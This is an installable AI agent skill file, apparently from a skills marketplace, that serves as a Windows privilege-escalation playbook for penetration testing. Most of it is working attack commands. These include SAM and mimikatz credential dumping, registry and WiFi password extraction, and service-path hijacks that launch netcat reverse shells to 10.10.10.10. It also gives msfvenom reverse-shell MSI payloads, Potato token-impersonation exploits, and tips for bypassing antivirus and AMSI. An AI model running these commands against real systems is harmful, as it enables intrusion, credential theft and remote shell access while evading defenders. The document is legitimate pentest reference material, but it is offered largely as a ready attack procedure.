This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
Add this skill
npx mdskills install sickn33/windows-privilege-escalationComprehensive privilege escalation reference with detailed commands and techniques
1---2name: Windows Privilege Escalation3description: This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.4metadata:5 author: zebbern6 version: "1.1"7---89# Windows Privilege Escalation1011## Purpose1213Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.1415## Inputs / Prerequisites1617- **Initial Access**: Shell or RDP access as standard user on Windows system18- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands19- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools20- **Knowledge**: Understanding of Windows security model and privileges21- **Authorization**: Written permission for penetration testing activities2223## Outputs / Deliverables2425- **Privilege Escalation Path**: Identified vector to higher privileges26- **Credential Dump**: Harvested passwords, hashes, or tokens27- **Elevated Shell**: Command execution as Administrator or SYSTEM28- **Vulnerability Report**: Documentation of misconfigurations and exploits29- **Remediation Recommendations**: Fixes for identified weaknesses3031## Core Workflow3233### 1. System Enumeration3435#### Basic System Information36```powershell37# OS version and patches38systeminfo | findstr /B /C:"OS Name" /C:"OS Version"39wmic qfe4041# Architecture42wmic os get osarchitecture43echo %PROCESSOR_ARCHITECTURE%4445# Environment variables46set47Get-ChildItem Env: | ft Key,Value4849# List drives50wmic logicaldisk get caption,description,providername51```5253#### User Enumeration54```powershell55# Current user56whoami57echo %USERNAME%5859# User privileges60whoami /priv61whoami /groups62whoami /all6364# All users65net user66Get-LocalUser | ft Name,Enabled,LastLogon6768# User details69net user administrator70net user %USERNAME%7172# Local groups73net localgroup74net localgroup administrators75Get-LocalGroupMember Administrators | ft Name,PrincipalSource76```7778#### Network Enumeration79```powershell80# Network interfaces81ipconfig /all82Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address8384# Routing table85route print86Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric8788# ARP table89arp -A9091# Active connections92netstat -ano9394# Network shares95net share9697# Domain Controllers98nltest /DCLIST:DomainName99```100101#### Antivirus Enumeration102```powershell103# Check AV products104WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName105```106107### 2. Credential Harvesting108109#### SAM and SYSTEM Files110```powershell111# SAM file locations112%SYSTEMROOT%\repair\SAM113%SYSTEMROOT%\System32\config\RegBack\SAM114%SYSTEMROOT%\System32\config\SAM115116# SYSTEM file locations117%SYSTEMROOT%\repair\system118%SYSTEMROOT%\System32\config\SYSTEM119%SYSTEMROOT%\System32\config\RegBack\system120121# Extract hashes (from Linux after obtaining files)122pwdump SYSTEM SAM > sam.txt123samdump2 SYSTEM SAM -o sam.txt124125# Crack with John126john --format=NT sam.txt127```128129#### HiveNightmare (CVE-2021-36934)130```powershell131# Check vulnerability132icacls C:\Windows\System32\config\SAM133# Vulnerable if: BUILTIN\Users:(I)(RX)134135# Exploit with mimikatz136mimikatz> token::whoami /full137mimikatz> misc::shadowcopies138mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM139```140141#### Search for Passwords142```powershell143# Search file contents144findstr /SI /M "password" *.xml *.ini *.txt145findstr /si password *.xml *.ini *.txt *.config146147# Search registry148reg query HKLM /f password /t REG_SZ /s149reg query HKCU /f password /t REG_SZ /s150151# Windows Autologin credentials152reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"153154# PuTTY sessions155reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"156157# VNC passwords158reg query "HKCU\Software\ORL\WinVNC3\Password"159reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password160161# Search for specific files162dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*163where /R C:\ *.ini164```165166#### Unattend.xml Credentials167```powershell168# Common locations169C:\unattend.xml170C:\Windows\Panther\Unattend.xml171C:\Windows\Panther\Unattend\Unattend.xml172C:\Windows\system32\sysprep.inf173C:\Windows\system32\sysprep\sysprep.xml174175# Search for files176dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul177178# Decode base64 password (Linux)179echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d180```181182#### WiFi Passwords183```powershell184# List profiles185netsh wlan show profile186187# Get cleartext password188netsh wlan show profile <SSID> key=clear189190# Extract all WiFi passwords191for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on192```193194#### PowerShell History195```powershell196# View PowerShell history197type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt198cat (Get-PSReadlineOption).HistorySavePath199cat (Get-PSReadlineOption).HistorySavePath | sls passw200```201202### 3. Service Exploitation203204#### Incorrect Service Permissions205```powershell206# Find misconfigured services207accesschk.exe -uwcqv "Authenticated Users" * /accepteula208accesschk.exe -uwcqv "Everyone" * /accepteula209accesschk.exe -ucqv <service_name>210211# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG212213# Exploit vulnerable service214sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"215sc stop <service>216sc start <service>217```218219#### Unquoted Service Paths220```powershell221# Find unquoted paths222wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"223wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """224225# Exploit: Place malicious exe in path226# For path: C:\Program Files\Some App\service.exe227# Try: C:\Program.exe or C:\Program Files\Some.exe228```229230#### AlwaysInstallElevated231```powershell232# Check if enabled233reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated234reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated235236# Both must return 0x1 for vulnerability237238# Create malicious MSI239msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi240241# Install (runs as SYSTEM)242msiexec /quiet /qn /i C:\evil.msi243```244245### 4. Token Impersonation246247#### Check Impersonation Privileges248```powershell249# Look for these privileges250whoami /priv251252# Exploitable privileges:253# SeImpersonatePrivilege254# SeAssignPrimaryTokenPrivilege255# SeTcbPrivilege256# SeBackupPrivilege257# SeRestorePrivilege258# SeCreateTokenPrivilege259# SeLoadDriverPrivilege260# SeTakeOwnershipPrivilege261# SeDebugPrivilege262```263264#### Potato Attacks265```powershell266# JuicyPotato (Windows Server 2019 and below)267JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *268269# PrintSpoofer (Windows 10 and Server 2019)270PrintSpoofer.exe -i -c cmd271272# RoguePotato273RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999274275# GodPotato276GodPotato.exe -cmd "cmd /c whoami"277```278279### 5. Kernel Exploitation280281#### Find Kernel Vulnerabilities282```powershell283# Use Windows Exploit Suggester284systeminfo > systeminfo.txt285python wes.py systeminfo.txt286287# Or use Watson (on target)288Watson.exe289290# Or use Sherlock PowerShell script291powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1292```293294#### Common Kernel Exploits295```296MS17-010 (EternalBlue) - Windows 7/2008/2003/XP297MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012298MS15-051 - Client Copy Image - 2003/2008/7299MS14-058 - TrackPopupMenu - 2003/2008/7/8.1300MS11-080 - afd.sys - XP/2003301MS10-015 - KiTrap0D - 2003/XP/2000302MS08-067 - NetAPI - 2000/XP/2003303CVE-2021-1732 - Win32k - Windows 10/Server 2019304CVE-2020-0796 - SMBGhost - Windows 10305CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019306```307308### 6. Additional Techniques309310#### DLL Hijacking311```powershell312# Find missing DLLs with Process Monitor313# Filter: Result = NAME NOT FOUND, Path ends with .dll314315# Compile malicious DLL316# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll317# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll318```319320#### Runas with Saved Credentials321```powershell322# List saved credentials323cmdkey /list324325# Use saved credentials326runas /savecred /user:Administrator "cmd.exe /k whoami"327runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"328```329330#### WSL Exploitation331```powershell332# Check for WSL333wsl whoami334335# Set root as default user336wsl --default-user root337# Or: ubuntu.exe config --default-user root338339# Spawn shell as root340wsl whoami341wsl python -c 'import os; os.system("/bin/bash")'342```343344## Quick Reference345346### Enumeration Tools347348| Tool | Command | Purpose |349|------|---------|---------|350| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |351| PowerUp | `Invoke-AllChecks` | Service/path vulnerabilities |352| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |353| Watson | `Watson.exe` | Missing patches |354| JAWS | `.\jaws-enum.ps1` | Legacy Windows enum |355| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |356357### Default Writable Folders358359```360C:\Windows\Temp361C:\Windows\Tasks362C:\Users\Public363C:\Windows\tracing364C:\Windows\System32\spool\drivers\color365C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys366```367368### Common Privilege Escalation Vectors369370| Vector | Check Command |371|--------|---------------|372| Unquoted paths | `wmic service get pathname \| findstr /i /v """` |373| Weak service perms | `accesschk.exe -uwcqv "Everyone" *` |374| AlwaysInstallElevated | `reg query HKCU\...\Installer /v AlwaysInstallElevated` |375| Stored credentials | `cmdkey /list` |376| Token privileges | `whoami /priv` |377| Scheduled tasks | `schtasks /query /fo LIST /v` |378379### Impersonation Privilege Exploits380381| Privilege | Tool | Usage |382|-----------|------|-------|383| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |384| SeImpersonatePrivilege | PrintSpoofer | Spooler service |385| SeImpersonatePrivilege | RoguePotato | OXID resolver |386| SeBackupPrivilege | robocopy /b | Read protected files |387| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |388| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |389390## Constraints and Limitations391392### Operational Boundaries393- Kernel exploits may cause system instability394- Some exploits require specific Windows versions395- AV/EDR may detect and block common tools396- Token impersonation requires service account context397- Some techniques require GUI access398399### Detection Considerations400- Credential dumping triggers security alerts401- Service modification logged in Event Logs402- PowerShell execution may be monitored403- Known exploit signatures detected by AV404405### Legal Requirements406- Only test systems with written authorization407- Document all escalation attempts408- Avoid disrupting production systems409- Report all findings through proper channels410411## Examples412413### Example 1: Service Binary Path Exploitation414```powershell415# Find vulnerable service416accesschk.exe -uwcqv "Authenticated Users" * /accepteula417# Result: RW MyService SERVICE_ALL_ACCESS418419# Check current config420sc qc MyService421422# Stop service and change binary path423sc stop MyService424sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"425sc start MyService426427# Catch shell as SYSTEM428```429430### Example 2: AlwaysInstallElevated Exploitation431```powershell432# Verify vulnerability433reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated434reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated435# Both return: 0x1436437# Generate payload (attacker machine)438msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi439440# Transfer and execute441msiexec /quiet /qn /i C:\Users\Public\shell.msi442443# Catch SYSTEM shell444```445446### Example 3: JuicyPotato Token Impersonation447```powershell448# Verify SeImpersonatePrivilege449whoami /priv450# SeImpersonatePrivilege Enabled451452# Run JuicyPotato453JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}454455# Catch SYSTEM shell456```457458### Example 4: Unquoted Service Path459```powershell460# Find unquoted path461wmic service get name,pathname | findstr /i /v """462# Result: C:\Program Files\Vuln App\service.exe463464# Check write permissions465icacls "C:\Program Files\Vuln App"466# Result: Users:(W)467468# Place malicious binary469copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"470471# Restart service472sc stop "Vuln App"473sc start "Vuln App"474```475476### Example 5: Credential Harvesting from Registry477```powershell478# Check for auto-logon credentials479reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"480# DefaultUserName: Administrator481# DefaultPassword: P@ssw0rd123482483# Use credentials484runas /user:Administrator cmd.exe485# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd486```487488## Troubleshooting489490| Issue | Cause | Solution |491|-------|-------|----------|492| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |493| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= "C:\path\binary.exe"` |494| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version compatibility |495| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |496| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64>` |497
Full transparency — inspect the skill content before installing.